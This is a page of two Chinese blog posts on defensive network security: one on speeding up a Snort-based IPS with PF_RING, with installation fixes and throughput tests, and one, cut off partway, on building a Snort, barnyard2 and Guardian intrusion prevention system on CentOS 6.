about 2 results (0.01 seconds)

一种通过PF_RING提高Snort效率的方法

by LauCyun May 8,2018 09:35:45 22,623 views

上周,公司的IPS产品在公安三所检测,检测出丢包很严重,如图1所示:


图1 测试结果

从图1可以看出,丢包率在50%以上,确实丢包很严重。

0x01 侦察

公司的IPS产品是基于Snort二次开发的。

经过分析,Snort是使用libpcap库作为数据包的捕获工具,通过调用libpcap库的函数从网卡获取数据包。它的工作流程(如图2所示):

  • 如果命令行没有指定网卡设备或者文件接口时,Snort先调用pcap_lookupdev函数获取网络接口,然后调用pcap_open_live函数得到该接口的描述符,再调用pcap_lookupnet函数获取网络接口的IP和子网掩码;
  • 接着调用pcap_compile函数编译过滤规则字符串;
  • 最后调用pcap_setfilter和pcap_freecode设置数据包过滤器,并且释放bpf_program结构体。

这时Snort已经打开了libpcap接口的句柄,接着调用pacp_loop循环获取数据包,同时调用processpacket函数理数据包。


图2 Snort的工作流程

Snort是开源的软件,并且性能很好,但是将Snort其应用在大规模、大流量的网络中,Snort的效率就非常低下,如图1出现丢包严重的问题。几番调研后,可以使用PF_RING替代libpcap。

PF_RING是一个第三方的内核数 据包捕获接口,类似于libpcap。 它提供一种PF_RING类型的套接字,大大增加了数据包捕获的 效率 。

0x02 PF_RING

PF_RING技术是德国人@Luca Deri发明的一种高效数据包捕获技术。简单来说PF_RING是一个高速数据包捕获库,通过它可以实现将通用计算机变成一个有效且便宜的网络测量工具箱,进行数据包和现网流量的分析和操作。同时支持调用用户级别的API来创建更有效的应用程序。

1 基本原理

PF_RING基本原理:PF_RING将网卡接收的数据包存储在一个环状缓存,这个环状缓存有两个接口,一个供网卡向其中写数据包,另一个为应用层程序提供读取数据包的接口,读取数据包的接口通过mmap实现。网卡的中断模式采用Device Polling,Linux下也称作NAPI,在网卡驱动程序中支持。而这种环状缓存是通过向内核中添加一种新的协议簇,添加一种新的带缓存的socket来实现的,提供通用socket接口。如图3所示。


图3 PF_RING架构图

2 提高效率的核心技术

PF_RING使用了两个技术来提高包的捕获效率:

  • NAPI技术减少CPU中断响应网卡的次数。
    • NAPI的基本思想是:当数据包到来时网卡发出中断请求,CPU响应中断请求进入中断处理程序,同时CPU要关闭中断处理请求。在中断处理程序中,CPU采用轮询的方式获取数据包。当网卡接收了一定数量的数据包以后,就退出中断服务处理程序并且开中断,响应中断请求。这种方式会大大减少CPU的中断次数,在一次响应中断中处理多个数据包,对系统性能是极大的改善。 
  • 零拷贝技术减少数据在内存之间的拷贝。
    • 它的基本思想是数据从设备拷入内存时,数据直接从内核态内存传入用户态内存,从而避免了系统调用和内存拷贝,整个过程不需要CPU的参与,这就降低了CPU的负载。“零拷贝”可以通过MMAP(内存映射)和DMA(直接内存存取)来实现。数据由DMA从网卡直接传输到内核空间,然后应用程序的用户态内存可以通过MMAP直接访问内核数据,这样就消除了数据在内核态和用户态之间的拷贝。 

简单的介绍就到这,详细的资料可以Google或者阅读:

0x03 安装PF_RING

虽然网上有很多关于PF_RING安装的教程,比如:Centos6.8 64位编译安装PF_RING心得和总结 - CSDN博客,以及官方文档:https://www.ntop.org/guides/pf_ring

按照文档的步骤,却出现错误:insmod: error inserting 'pf_ring.ko': -1 Unknown symbol in module,网上有人说是“没有卸载当前的网卡驱动,新的加载不了,需要卸载网卡驱动”,但是我把网卡卸载驱动后,依然加载不上,顿时就cryingcryingcrying

通过DuckDuckGo经过一番调研后,发现https://centos.pkgs.org/6/forensics-x86_64/pfring-7.0.0-1887.x86_64.rpm.html有现成的rpm,可以直接yum安装,看到这个瞬间就laughlaughlaugh

1 安装rpm包

首先,需要安装2个rpm包:epelcert-forensics-tools-release-el6

epelhttps://mirrors.aliyun.com/epel

## CentOS 6 and Red Hat (RHEL) 6 ##
rpm -Uvh https://mirrors.aliyun.com/epel/epel-release-latest-6.noarch.rpm

## CentOS 7 and Red Hat (RHEL) 7 ##
rpm -Uvh https://mirrors.aliyun.com/epel/epel-release-latest-7.noarch.rpm

cert-forensics-tools-release-el6https://centos.pkgs.org/

## CentOS 6 and Red Hat (RHEL) 6 ##
rpm -Uvh https://forensics.cert.org/cert-forensics-tools-release-el6.rpm

## CentOS 7 and Red Hat (RHEL) 7 ##
rpm -Uvh https://forensics.cert.org/cert-forensics-tools-release-el7.rpm

2 安装pfring

然后,就是安装pfring,直接运行如下命令:

yum --enablerepo=forensics install pfring


图4 安装pfring

如上图4,它会安装pfringdkmselfutils-libelf-develkernel-debug-devel4个软件包,安装完成后生成如下文件:

  • /etc/init.d/cluster
  • /etc/init.d/pf_ring
  • /etc/ld.so.conf.d/pf_ring.conf
  • /usr/bin/n2if
  • /usr/bin/pfcount
  • /usr/bin/pfsend
  • /usr/bin/zbalance_ipc
  • /usr/bin/zcount
  • /usr/bin/zcount_ipc
  • /usr/bin/zsend
  • /usr/lib64/wireshark/extcap/ntopdump
  • /usr/local/bin/clusterctl
  • /usr/local/bin/pf_ringctl
  • /usr/local/include/nbpf.h
  • /usr/local/include/pfring.h
  • /usr/local/include/pfring_zc.h
  • /usr/local/include/linux/pf_ring.h
  • /usr/local/lib/libpcap.a
  • /usr/local/lib/libpcap.so.1.8.1
  • /usr/local/lib/libpfring.a
  • /usr/local/lib/libpfring.so
  • /usr/local/lib/libsfbpf.so.0
  • /usr/local/lib/libsfbpf.so.0.0.1
  • /usr/local/lib/daq/daq_pfring.la
  • /usr/local/lib/daq/daq_pfring.so
  • /usr/local/lib/daq/daq_pfring_zc.la
  • /usr/local/lib/daq/daq_pfring_zc.so
  • /usr/local/pfring/README-DAQ.1st
  • /usr/local/pfring/README.FIRST

现在启动pfring,如图5所示:


图5 启动pfring

但是,启动失败,那是由于未安装pfring-dkms

3 安装pfring-dkms

接着安装pfring-dkms,直接运行如下命令:

yum install pfring-dkms

0x04 启动PF_RING

直接运行如下命令:

pf_ringctl start

又双叒叕出错了,如图6所示:


图6 pfring启动失败

出现这个错误的原因是:安装的kernel-devel的版本跟系统的内核版本不一致。

从图6得知,目前系统的内核版本是2.6.32-431.el6.x86_64,从图4得知安装的kernel-devel版本是2.6.32-696.23.1.el6.x86_64,从而导致/lib/modules/2.6.32-431.el6.x86_64中的build链接指向的../../../usr/src/kernels/2.6.32-431.el6.x86_64/路径不存在。解决方法如下:

# 删除build链接
rm -rf /lib/modules/2.6.32-431.el6.x86_64/build
# 重新创建链接
ln -s /usr/src/kernels/2.6.32-696.23.1.el6.x86_64/ /lib/modules/2.6.32-431.el6.x86_64/build  

再启动pfring,此时就不会报上述问题了。

查看pf_ring是否加载成功,如图7所示:


图7 已载入系统的模块

如图7所示即为pf_ring加载成功。

顺便查看一下驱动pf_ring的信息,如图8所示:


图8 驱动pf_ring的信息

Ok,pf_ring经载入了系统,接下来就是测试Snort使用它的效果啦~~~

0x05 测试

1 测试环境

测试环境:

  • 客户端:
    • 系统:CentOS 6.5
    • IP地址:192.168.0.90
    • 软件:iperf3
  • 服务端:
    • 系统:CentOS 6.5
    • IP地址:192.168.0.89
    • 软件:iperf3
  • 网线:
    • 六类网线2根
  • IPS产品一台
    • 工作网卡:eth2、eth3

其测试网络结构图,如图9所示:


图9 测试网络结构图

客户端和服务端是串联在IPS之间。

2 测试

在官方文档3. Using Snort with PF_RING — PF_RING 7.0 documentation中已介绍,以IPS模式启动Snort的命令如下:

snort --daq-dir=/usr/local/lib/daq --daq pfring  -i ethX:ethY -e -Q

可以用,列出多对网卡,比如:-i ethX:ethY,ethM:ethN

在测试之前,先创建以下文件夹:

# PID
mkdir -p /var/run/snort/{p1,p2,p3,p4}
# alert
mkdir -p /var/log/snort/{instance-1,instance-2,instance-3,instance-4}

接着,运行如下命令,检测Snort是否可以启动:

snort -c /etc/snort/snort.conf --daq-dir=/usr/local/lib/daq --daq pfring --daq-mode inline -i eth2:eth3 --daq-var fast-tx=1 --daq-var clusterid=10,11 --daq-var bindcpu=1

又双叒叕出错了,如图10所示:


图10 snort启动失败

出错的原因是:缺少libhiredis.so.0.10库文件。只需要安装hiredis即可解决,解决方法如下:

# 下载
git clone  https://github.com/redis/hiredis
cd hiredis/
# 编译
make
# 安装
make install

hiredis安装完成后,其libhiredis.so库文件版本是libhiredis.so.0.13,而pf_ring依赖的版本是libhiredis.so.0.10,需要运行如下命令创建软连接:

ln -s /usr/local/lib/libhiredis.so.0.13 /usr/local/lib/libhiredis.so.0.10

重新启动Snort,如图11所示:


图11 运行snort

Nice,Snort启动没问题了,接下来就是测试多核情况下Snort的运行效率。

启动4个进程,且每个进程绑定1核CPU,命令如下:

$ snort -q --pid-path /var/run/snort/p1 --create-pidfile -c /etc/snort/snort.conf -l /var/log/snort/instance-1 --daq-dir=/usr/local/lib/daq --daq pfring --daq-mode inline -i eth2:eth3 --daq-var fast-tx=1 --daq-var clusterid=10,11 --daq-var bindcpu=1 -Q -D
$ snort -q --pid-path /var/run/snort/p2 --create-pidfile -c /etc/snort/snort.conf -l /var/log/snort/instance-2 --daq-dir=/usr/local/lib/daq --daq pfring --daq-mode inline -i eth2:eth3 --daq-var fast-tx=1 --daq-var clusterid=10,11 --daq-var bindcpu=2 -Q -D
$ snort -q --pid-path /var/run/snort/p3 --create-pidfile -c /etc/snort/snort.conf -l /var/log/snort/instance-3 --daq-dir=/usr/local/lib/daq --daq pfring --daq-mode inline -i eth2:eth3 --daq-var fast-tx=1 --daq-var clusterid=10,11 --daq-var bindcpu=3 -Q -D
$ snort -q --pid-path /var/run/snort/p4 --create-pidfile -c /etc/snort/snort.conf -l /var/log/snort/instance-4 --daq-dir=/usr/local/lib/daq --daq pfring --daq-mode inline -i eth2:eth3 --daq-var fast-tx=1 --daq-var clusterid=10,11 --daq-var bindcpu=4 -Q -D

通过iperf3发送带宽为1000M的数据包,测试效果如图12所示(上面显示器是服务端,下面显示器是客户端):


图12 测试结果

从图12(上面显示器是服务端,下面显示器是客户端)可知,综合计算其通过率为95%左右。

上面Snort的启动方式肯定不是最优的方式,具体如何调优请参考3. Using Snort with PF_RING — PF_RING 7.0 documentation

0x06 参考

...

Tags Read More..


基于Snort+barnyard2+Guardian实现实时告警和阻断的入侵防御系统

by LauCyun Jul 23,2016 12:19:59 25,385 views

Snort经常用作入侵检测系统(IDS),进一步可以配置为入侵防御系统(IPS)。Snort使用数据采集器(daq)监听防火墙数据包队列,配合Snort规则动作drop、alert等处理数据包,防火墙在Snort启动后添加链表队列。报文经过防火墙时,将交给Snort来处理,触发入侵检测规则时立刻响应动作,屏蔽数据包。其实,入侵防御系统应该直连在网络环境当中,需要配置网桥。Snort监听网桥的功能,防火墙更加要支持网桥,网桥也可以配置成透明的模式。

本文详细介绍了CenOS 6中搭建入侵检测系统Snort,并与防火墙联动实现实时告警或阻断的过程。

1 准备

环境:

  • 系统:CentOS 6.5
  • 网卡:两个管理网卡(一主一备)、两对bypass网卡(一主一备)

环境依赖:

  • wget、git、gcc、flex、bison、zlib、libpcap、pcre、tupdump等
  • bridge-utils
  • Iptables
  • MySQL
  • libdnet(version==1.12)
    libmnl(version==1.0.4)
    libnfnetlink(version==1.0.1)
    libnetfilter_queue(version==1.0.2)
  • daq(version==2.0.6)
  • snort(version==2.9.8.3)
  • barnyard2
  • guardian-1.7

配置网桥:

  • 安装 bridge-utils
    [root@localhost ~]# yum install -y bridge-utils
  • 创建网桥br0:
    [root@localhost ~]# brctl addbr br0  
    [root@localhost ~]# brctl stp br0 off  
    # 绑定网卡
    [root@localhost ~]# brctl addif br0 eth2  # 绑定eth2为br0网桥的一个端口
    [root@localhost ~]# brctl addif br0 eth3  # 绑定eth3为br0网桥的一个端口
    # 设置网卡ip
    [root@localhost ~]# ifconfig eth2 down  
    [root@localhost ~]# ifconfig eth3 down  
    [root@localhost ~]# ifconfig eth2 0.0.0.0 up  
    [root@localhost ~]# ifconfig eth3 0.0.0.0 up  
    [root@localhost ~]# ifconfig br0 up
  • 配置网桥br0,具体配置如下:
    # 修改ifcfg-br0:
    [root@localhost ~]# touch /etc/sysconfig/network-scripts/ifcfg-br0
    [root@localhost ~]# vim /etc/sysconfig/network-scripts/ifcfg-br0
    DEVICE=br0
    TYPE=Bridge
    ONBOOT=yes
    BOOTPROTO=static
    IPADDR=0.0.0.0
    
    # 修改ifcfg-eth2:
    [root@localhost ~]# vim /etc/sysconfig/network-scripts/ifcfg-eth2
    DEVICE=eth2
    TYPE=Ethernet
    ONBOOT=yes
    BOOTPROTO=static
    IPADDR=0.0.0.0
    BRIDGE=br0
    
    # 修改ifcfg-eth3:
    [root@localhost ~]# vim /etc/sysconfig/network-scripts/ifcfg-eth3
    DEVICE=eth3
    TYPE=Ethernet
    ONBOOT=yes
    BOOTPROTO=static
    IPADDR=0.0.0.0
    BRIDGE=br0

准备工作已经完成了,下面就来说具体的安装。

2 安装依赖组件

2.1 安装基础组件

安装基础的组件,比如:wget、gcc、flex、bison、zlib、pcre

[root@localhost ~]# yum install -y wget svn gcc gcc-c++ flex bison zlib zlib-devel pcre pcre-devel libtool curl man

2.2 安装libdnet

libnet是一个小型的接口函数库,主要用C语言写成,提供了低层网络数据包的构造、处理和发送功能。

[root@localhost ~]# cd /usr/local/src/
[root@localhost src]# wget http://pkgs.fedoraproject.org/repo/pkgs/libdnet/libdnet-1.12.tgz/9253ef6de1b5e28e9c9a62b882e44cc9/libdnet-1.12.tgz  
# 解压:  
[root@localhost src]# tar xvfz libdnet-1.12.tgz  
[root@localhost src]# cd libdnet-1.12/  
# 编译:  
[root@localhost libdnet-1.12]# ./configure "CFLAGS=-fPIC" --prefix=/usr --libdir=/usr/lib64
# 安装:  
[root@localhost libdnet-1.12]# make && make install 

2.3 安装libpcap

libpcap是一个网络数据包捕获函数库,功能非常强大,Linux下著名的tcpdump就是以它为基础的。

[root@localhost ~]# cd /usr/local/src/
# 下载:  
[root@localhost src]# wget http://www.tcpdump.org/release/libpcap-1.7.4.tar.gz
# 解压:  
[root@localhost src]# tar zxvf libpcap-1.7.4.tar.gz
[root@localhost src]# cd libpcap-1.7.4/
# 编译:
[root@localhost libpcap-1.7.4]# ./configure --prefix=/usr --libdir=/usr/lib64
# 安装:
[root@localhost libpcap-1.7.4]# make && make install

2.4 安装tcpdump

tcpdump是一个用于截取网络分组,并输出分组内容的工具,简单说就是数据包抓包工具。tcpdump凭借强大的功能和灵活的截取策略,使其成为Linux系统下用于网络分析和问题排查的首选工具。

[root@localhost ~]# cd /usr/local/src/
# 下载:  
[root@localhost src]# wget http://www.tcpdump.org/release/tcpdump-4.7.4.tar.gz
# 解压:  
[root@localhost src]# tar zxvf tcpdump-4.7.4.tar.gz
[root@localhost src]# cd tcpdump-4.7.4/
# 编译:
[root@localhost tcpdump-4.7.4]# ./configure --prefix=/usr --libdir=/usr/lib64
# 安装:
[root@localhost tcpdump-4.7.4]# make && make install

3 安装MySQL

略,具体请参考:如何用yum安装MySQL5.5

4 安装daq

 Snort从2.9.0版本开始引入了daq(packet acquisition),该模块实际上是一个抽象层专门为报文处理服务。

如果Snort要支持IPS模式,则先要把daq配置支持nfq模式,但是安装daq前需安装libnetfilter_queuelibnetfilter_queue需要依赖libmnllibnfnetlink支持。

4.1 安装libmnl

[root@localhost ~]# cd /usr/local/src/  
# 下载:  
[root@localhost src]# wget https://www.netfilter.org/projects/libmnl/files/libmnl-1.0.4.tar.bz2  
# 解压:  
[root@localhost src]# tar -jxf libmnl-1.0.4.tar.bz2  
[root@localhost src]# cd libmnl-1.0.4/  
# 编译:  
[root@localhost libmnl-1.0.4]# ./configure --prefix=/usr --libdir=/usr/lib64  
# 安装:  
[root@localhost libmnl-1.0.4]# make && make install

4.2 安装libnfnetlink

[root@localhost ~]# cd /usr/local/src/
# 下载:  
[root@localhost src]# wget https://www.netfilter.org/projects/libnfnetlink/files/libnfnetlink-1.0.1.tar.bz2
# 解压:  
[root@localhost src]# tar -jxf libnfnetlink-1.0.1.tar.bz2
[root@localhost src]# cd libnfnetlink-1.0.1/
# 编译:  
[root@localhost libnfnetlink-1.0.1]# ./configure --prefix=/usr --libdir=/usr/lib64
# 安装:  
[root@localhost libnfnetlink-1.0.1]# make && make install

4.3 安装libnetfilter_queue

[root@localhost ~]# cd /usr/local/src/
# 下载:  
[root@localhost src]# wget https://www.netfilter.org/projects/libnetfilter_queue/files/libnetfilter_queue-1.0.2.tar.bz2
# 解压:  
[root@localhost src]# tar -jxf libnetfilter_queue-1.0.2.tar.bz2
[root@localhost src]# cd libnetfilter_queue-1.0.2/
# 编译:  
[root@localhost libnetfilter_queue-1.0.2]# ./configure --prefix=/usr --libdir=/usr/lib64
# 安装:  
[root@localhost libnetfilter_queue-1.0.2]# make && make install

daq支持nfq模式的依赖组件都安装完成了,接下就是安装daq。

4.4 安装daq

[root@localhost ~]# cd /usr/local/src/
# 下载:  
[root@localhost src]# wget https://www.snort.org/downloads/snort/daq-2.0.6.tar.gz  
# 解压:  
[root@localhost src]# tar xvfz daq-2.0.6.tar.gz  
[root@localhost src]# cd daq-2.0.6/  
# 编译:  
[root@localhost daq-2.0.6]# ./configure  

如果你安装了daq的依赖组件libnetfilter_queuelibmnllibnfnetlink,那么编译时会出现如下信息:

...
------------------------------
Build AFPacket DAQ module.. : yes
Build Dump DAQ module...... : yes
Build IPFW DAQ module...... : yes
Build IPQ DAQ module....... : no
Build NFQ DAQ module....... : yes
Build PCAP DAQ module...... : yes
Build netmap DAQ module.... : no
------------------------------
# 安装
[root@localhost daq-2.0.6]# make && make install

所以,现在daq支持AFPacketDumpIPFWNFQPCAP五种模式。

OK,daq已经安装完成。

5 安装与配置Snort

正主来了,接下来就是安装Snort,下载地址:snort-2.9.8.3.tar.gz

5.1 安装Snort

[root@localhost ~]# cd /usr/local/src/
# 下载
[root@localhost src]# wget https://www.snort.org/downloads/snort/snort-2.9.8.3.tar.gz
# 解压
[root@localhost src]# tar xvfz snort-2.9.8.3.tar.gz
[root@localhost src]# cd snort-2.9.8.3/
# 编译
[root@localhost snort-2.9.8.3]# ./configure --enable-sourcefire
# 安装
[root@localhost snort-2.9.8.3]# make && make install

检查是否安装成功,如下则安装成功:

[root@localhost ~]# snort --v

   ,,_     -*> Snort! <*-
  o"  )~   Version 2.9.8.3 GRE (Build 383)
   ''''    By Martin Roesch & The Snort Team: http://www.snort.org/contact#team
           Copyright (C) 2014-2015 Cisco and/or its affiliates. All rights reserved.
           Copyright (C) 1998-2013 Sourcefire, Inc., et al.
           Using libpcap version 1.4.0
           Using PCRE version: 7.8 2008-09-05
           Using ZLIB version: 1.2.3

[root@localhost ~]#

再看支持哪些模式:

[root@localhost ~]# snort --daq-list
Available DAQ modules:
pcap(v3): readback live multi unpriv
nfq(v7): live inline multi
ipfw(v3): live inline multi unpriv
dump(v3): readback live inline multi unpriv
afpacket(v5): live inline multi unpriv
[root@localhost ~]#

5.2 配置Snort

[root@localhost ~]# cd /etc/
[root@localhost etc]# mkdir snort
[root@localhost etc]# cd snort/
[root@localhost snort]# cp /usr/local/src/snort-2.9.8.3/etc/* .

从Snort官网下载最新的Rules,下载地址:snortrules-snapshot-2983.tar.gz(需要登录):

[root@localhost snort]# tar xvfz snortrules-snapshot-2983.tar.gz
[root@localhost snort]# cp ./etc/* .

创建规则的黑白名单文件:

[root@localhost ~]# touch /etc/snort/rules/white_list.rules /etc/snort/rules/black_list.rules

创建日志文件夹和其他:

[root@localhost ~]# mkdir /var/log/snort
[root@localhost ~]# mkdir /usr/local/lib/snort_dynamicrules

接下来,我们要修改一下snort.conf,修改如下:

[root@netvine ~]# vim /etc/snort/snort.conf
...
Line #52:
        ipvar HOME_NET 0.0.0.0/0
...
Line #170:
        config policy_mode:inline
        config daq: nfq
        config daq_mode: inline
        config daq_var: device=br0   # br0即为以eth2和eth3搭建的网桥
        config daq_var: queue=1
	    # config daq_dir: <dir>
...
Line #538:
        output unified2: filename snort.u2, limit 128
        output alert_fast: alert
...

详细配置可以参考:snort.conf分析(中文) - 云里雾里的专栏 - 博客频道 - CSDN.NET

5.3 运行Snort

运行Snort:

[root@netvine ~]# snort -c /etc/snort/snort.conf -i eth0

后台运行Snort:

[root@netvine ~]# snort -c /etc/snort/snort.conf -i eth0 -D  # 推荐
# 或
[root@netvine ~]# nohup snort -c /etc/snort/snort.conf -i eth0 &

afpacket模式下运行Snort:

[root@netvine ~]# snort --daq nfq --daq-mode inline -c /etc/snort/snort.conf -i eth0:eth1 -Q # 推荐
# 或
[root@netvine ~]# snort -c /etc/snort/snort.conf -i eth0:eth1 -Q 

nfq模式下运行Snort:

[root@netvine ~]# snort -c /etc/snort/snort.conf -Q
# 或
[root@netvine ~]# snort -c /etc/snort/snort.conf -Q --daq nfq --daq-var device=br0 --daq-var queue=1 # 推荐

5.4 iptables添加NFQUEUE

为了实现阻断功能,需把数据包引入一个队列中,为此需要创建一个NFQUEUE:

[root@netvine ~]# iptables -I FORWARD -j NFQUEUE --queue-num 1  
[root@netvine ~]# iptables -nL  
...  
Chain FORWARD (policy ACCEPT)  
target     prot opt source               destination  
NFQUEUE    all  --  0.0.0.0/0            0.0.0.0/0           NFQUEUE num 1  
... 

但是,需要开启系统的数据流转发功能,即修改/etc/sysctl.conf

[root@netvine ~]# vim /etc/sysctl.conf
...
# Controls IP packet forwarding
net.ipv4.ip_forward = 1
...
# Disable netfilter on bridges.
net.bridge.bridge-nf-call-iptables = 1
...

5.5 测试

测试一下是否安装与配置成功:

[root@localhost snort]# snort -c /etc/snort/snort.conf -Q
Enabling inline operation
Running in IDS mode

        --== Initializing Snort ==--
Initializing Output Plugins!
Initializing Preprocessors!
Initializing Plug-ins!
Parsing Rules file "/etc/snort/snort.conf"

...

[ Number of patterns truncated to 20 bytes: 78 ]
nfq DAQ configured to inline.
Reload thread starting...
Reload thread started, thread 0x7f9faf723700 (11977)

        --== Initialization Complete ==--

   ,,_     -*> Snort! <*-
  o"  )~   Version 2.9.8.3 GRE (Build 383)
   ''''    By Martin Roesch & The Snort Team: http://www.snort.org/contact#team
           Copyright (C) 2014-2015 Cisco and/or its affiliates. All rights reserved.
           Copyright (C) 1998-2013 Sourcefire, Inc., et al.
           Using libpcap version 1.4.0
           Using PCRE version: 7.8 2008-09-05
           Using ZLIB version: 1.2.3

           Rules Engine: SF_SNORT_DETECTION_ENGINE  Version 2.6  <Build 1>
           Preprocessor Object: SF_SDF  Version 1.1  <Build 1>
           Preprocessor Object: SF_IMAP  Version 1.0  <Build 1>
           Preprocessor Object: SF_SSLPP  Version 1.1  <Build 4>
           Preprocessor Object: SF_SIP  Version 1.1  <Build 1>
           Preprocessor Object: SF_POP  Version 1.0  <Build 1>
           Preprocessor Object: SF_SSH  Version 1.1  <Build 3>
           Preprocessor Object: SF_FTPTELNET  Version 1.2  <Build 13>
           Preprocessor Object: SF_MODBUS  Version 1.1  <Build 1>
           Preprocessor Object: SF_DNS  Version 1.1  <Build 4>
           Preprocessor Object: SF_REPUTATION  Version 1.1  <Build 1>
           Preprocessor Object: SF_SMTP  Version 1.1  <Build 9>
           Preprocessor Object: SF_DCERPC2  Version 1.0  <Build 3>
           Preprocessor Object: SF_GTP  Version 1.1  <Build 1>
           Preprocessor Object: SF_DNP3  Version 1.1  <Build 1>
Commencing packet processing (pid=11976)
Decoding Raw IP4

如果显示上面信息,则说明安装与配置成功了!

6 安装与配置barnyard2

Barnyard2是Snort统一二进制输出文件的开源解释器。 它的主要用途是允许Snort以有效的方式写入磁盘,将将二进制数据解析成各种格式的任务分开,过程不会导致Snort错过网络流量。

6.1 安装barnyard2

[root@localhost ~]# cd /usr/local/src/
# 下载
[root@localhost src]# git clone https://github.com/firnsy/barnyard2.git
[root@localhost src]# cd barnyard2/
# 编译
[root@localhost barnyard2]# autoreconf -fvi -I ./m4
[root@localhost barnyard2]# ./configure --with-mysql --with-mysql-libraries=/usr/lib64/mysql/
# 安装
[root@localhost barnyard2]# make && make install

检查是否安装成功:

[root@localhost snort]# barnyard2 -c /etc/snort/barnyard2.conf -d /var/log/snort -f snort.u2 -w /var/log/snort/barnyard2.waldo
Running in Continuous mode

        --== Initializing Barnyard2 ==--
Initializing Input Plugins!
Initializing Output Plugins!
Parsing config file "/etc/snort/barnyard2.conf"


+[ Signature Suppress list ]+
----------------------------
+[No entry in Signature Suppress List]+
----------------------------
+[ Signature Suppress list ]+

Barnyard2 spooler: Event cache size set to [2048]
Log directory = /var/log/barnyard2
INFO database: Defaulting Reconnect/Transaction Error limit to 10
INFO database: Defaulting Reconnect sleep time to 5 second

[CacheSynchronize()],INFO: No system was found in cache (from signature map file), will not process or synchronize informations found in the database

database: compiled support for (mysql)
database: configured to use mysql
database: schema version = 107
database:           host = localhost
database:           user = snort
database:  database name = snort
database:    sensor name = localhost:bond1
database:      sensor id = 2
database:     sensor cid = 3
database:  data encoding = hex
database:   detail level = full
database:     ignore_bpf = no
database: using the "log" facility

        --== Initialization Complete ==--

  ______   -*> Barnyard2 <*-
 / ,,_  \  Version 2.1.14 (Build 336)
 |o"  )~|  By Ian Firns (SecurixLive): http://www.securixlive.com/
 + '''' +  (C) Copyright 2008-2013 Ian Firns <firnsy@securixlive.com>

Using waldo file '/var/log/snort/barnyard2.waldo':
    spool directory = /var/log/snort
    spool filebase  = snort.u2
    time_stamp      = 1503461582
    record_idx      = 0
Opened spool file '/var/log/snort/snort.u2.1503461582'
Closing spool file '/var/log/snort/snort.u2.1503461582'. Read 0 records
Opened spool file '/var/log/snort/snort.u2.1503470070'
Closing spool file '/var/log/snort/snort.u2.1503470070'. Read 0 records
Opened spool file '/var/log/snort/snort.u2.1503470781'
Waiting for new data

如果出现“Waiting for new data”,则说明安装成功!

6.2 配置barnyard2

[root@localhost barnyard2]# mkdir /var/log/barnyard2  
[root@localhost barnyard2]# touch /var/log/snort/barnyard2.waldo    
[root@localhost barnyard2]# cp /usr/local/src/barnyard2/etc/barnyard2.conf /etc/snort  

修改/etc/snort/barnyard2.conf,修改如下:

[root@localhost ~]# vim /etc/snort/barnyard2.conf
Line #72:
	config hostname:  localhost
	config interface: br0       # br0即为以eth2和eth3搭建的网桥
Line #229:
	output alert_fast: stdout
Line #356:
 	output database: log, mysql, dbname=snort user=snort password=root host=localhost  # 数据库名为snort,用户名为snort,密码为root

6.3 barnyard2运行方式

正常运行:

[root@localhost ~]# barnyard2 -c /etc/snort/barnyard2.conf -d /var/log/snort -f snort.u2 -w /var/log/snort/barnyard2.waldo

后台运行:

[root@localhost ~]# barnyard2 -c /etc/snort/barnyard2.conf -d /var/log/snort -f snort.u2 -w /var/log/snort/barnyard2.waldo –D
# 或
[root@localhost ~]# nohup barnyard2 -c /etc/snort/barnyard2.conf -d /var/log/snort -f snort.u2 -w /var/log/snort/barnyard2.waldo &

7 安装Guardian

Guardian是Snort的插件,通过读取Snort报警日志将入侵IP加入到Iptables中。

7.1 下载与安装

Guardian需要去官网下载http://www.chaotic.org/guardian/

[root@localhost ~]# cd /usr/local/src/packet/
# 下载
[root@localhost packet]# wget http://www.chaotic.org/guardian/guardian-1.7.tar.gz
# 解压
[root@localhost packet]# tar zxvf guardian-1.7.tar.gz
[root@localhost packet]# cd guardian-1.7/

在解压后的文件夹下,做下面的脚本拷贝操作:

[root@localhost guardian-1.7]# cp guardian.pl /usr/local/bin
[root@localhost scripts]# cd scripts/
[root@localhost scripts]# cp iptables_block.sh /usr/local/bin/guardian_block.sh
[root@localhost scripts]# cp iptables_unblock.sh /usr/local/bin/guardian_unblock.sh
[root@localhost scripts]# cd ../
[root@localhost guardian-1.7]# cp guardian.conf /etc/snort/

[root@localhost guardian-1.7]# touch /etc/snort/guardian.ignore   # 创建白名单
[root@localhost guardian-1.7]# touch /etc/snort/guardian.target   # 创建黑名单
[root@localhost guardian-1.7]# touch /var/log/snort/guardian.log  # guardian的日志

说明:

  • Guardian的执行文件:guardian.pl
  • Guardian封锁IP所要调用的外部程序:scripts/iptalbes_block.sh
  • Guardian解除对某一IP封锁时,所需要调用的外部程序:scripts/iptalbes_unblock.sh

7.2 修改源码

/usr/local/bin/guardian.pl中的:

...
# Line 115: 
sub checkem {
  my ($source, $dest,$type) = @_;
  my $flag=0;
  my $date = localtime();
  return 1 if ($source eq $hostipaddr); # this should prevent is from nuking
                                       # ourselves 
  return 1 if ($source eq $gatewayaddr); # or our gateway 
  if ($ignore{$source} == 1) { # check our ignore list..
     &write_log("$date: ");
     &write_log("$source\t$type\n");
     &write_log("Ignoring attack because $source is in my ignore list\n");
     return 1;
  }
  # if the offending packet was sent to us, the network, or the broadcast, then
  if ($targethash{$dest} == 1) {   
    &write_log("$date: ");
    &ipchain ($source, $dest, $type);
  }
  # you will see this if the destination was not in the $targethash, and the
  # packet was not ignored before the target check.. 
  else { 
    &write_log ("Odd.. source = $source, dest = $dest - No action done.\n"); 
    if (defined ($opt_d)) {
      foreach $key (keys %targethash) {
        &write_log ("targethash{$key} = $targethash{$key}\n");
      }
    }
  }
}
# Line 145: 
...

修改为:

sub checkem {
  my ($source, $dest,$type) = @_;
  my $flag=0;
  my $date = localtime();
  return 1 if ($source eq $hostipaddr); # this should prevent is from nuking
                                       # ourselves 
  return 1 if ($source eq $gatewayaddr); # or our gateway 
  if ($ignore{$source} == 1) { # check our ignore list..
     &write_log("$date: ");
     &write_log("$source\t$type\n");
     &write_log("Ignoring attack because $source is in my ignore list\n");
     return 1;
  }
  # if the offending packet was sent to us, the network, or the broadcast, then
  # if ($targethash{$dest} == 1) {   
  else {
    &write_log("$date: ");
    &ipchain ($source, $dest, $type);
  }
  # you will see this if the destination was not in the $targethash, and the
  # packet was not ignored before the target check.. 
  # else { 
  #   &write_log ("Odd.. source = $source, dest = $dest - No action done.\n"); 
  #   if (defined ($opt_d)) {
  #     foreach $key (keys %targethash) {
  #       &write_log ("targethash{$key} = $targethash{$key}\n");
  #     }
  #   }
  # }
}

还要把/usr/local/bin/guardian.pl中的:

...
